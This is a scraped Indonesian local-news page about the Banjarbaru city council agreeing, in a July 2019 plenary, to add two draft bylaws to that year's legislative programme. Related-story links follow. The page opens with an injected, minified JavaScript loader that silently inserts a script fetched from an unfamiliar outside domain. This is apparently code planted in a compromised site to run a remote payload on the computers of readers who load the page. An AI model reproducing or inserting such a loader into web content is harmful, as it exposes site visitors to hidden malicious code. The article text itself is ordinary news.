(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, DPRD Kota Banjarbaru menggelar rapat paripurna dengan agenda penandatanganan kesepakatan bersama perubahan Program Pembentukan Perda (Propemperda) tahun 2019, Senin (22/7).
Rapat yang dipimpin Ketua DPRD Banjarbaru H AR Iwansyah dihadiri Walikota Banjarbaru H Nadjmi Adhani dan Wakil Walikota Banjarbaru Darmawan Jaya Setiawan.
Ketua DPRD Banjarbaru H AR Iwansyah mengatakan, perencanaan penyusunan Perda dilaksanakan melalui Promperda yang disusun bersama oleh DPRD dan pemerintah kota. Setelah ditetapkan Propemperda tahun 2019 pada akhir tahun 2018 lalu, masih dimungkinkan bagi DPRD maupun Pemko mengajukan Rancangan Peraturan daerah (Raperda) di luar Propemperda yang telah ditetapkan.
“Tanggal 16 Juli, Bapemperda DPRD Kota Banjarbaru bersama-sama dengan bagian hukum telah membahas tentang rencana penambahan Propemperda untuk tahun 2019 dan hasil pembahasannya kita akan sampai dalam rapat hari untuk diminta persetujuannya,†katanya.
Berdasarkan hasil koordinasi Bapemperda dengan bagian hukum terhadap Propemperda yang disepakati sebelumnya yaitu sebanyak 10 Raperda, maka DPRD Banjarbaru kemudian mengusulkan penambahan dua Raperda melalui rapat paripurna.
Adapun dua Raperda tersebut adalah Raperda tentang pembentukan dana cadangan untuk pemilihan kepala daerah. Satu lainnya yakni perubahan Raperda tentang perubahan atas Perda kota Banjarbaru nomor 3 tahun 2010 tentang pedoman penataan lembaga kemasyarakatan kelurahan.
Iwansyah mengatakan, mengingat adanya urgensi untuk melakukan perubahan terhadap beberapa Perda yang telah ada sebelumnya untuk disesuaikan dengan kondisi kebutuhan daerah.
“Disamping itu juga perlu adanya regulasi baru yang dirasa mendesak untuk menunjang kelancaran tugas-tugas pemerintah dan pembangunan,†lanjutnya.
Sementara itu, Walikota Banjarbaru H Nadjmi Adhani mengatakan, memang sebelumnya sebelumnya hanya 10 Raperda yang menjadi skala prioritas. Namun seiring waktu, rupanya kedua Raperda yang diusulkan harus diprioritaskan untuk diproses menjadi Perda.
“Dua judul Raperda yang diusulkan, kita sepakati untuk masuk menjadi Propemperda tambahan tahun 2019,†kata Nadjmi. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.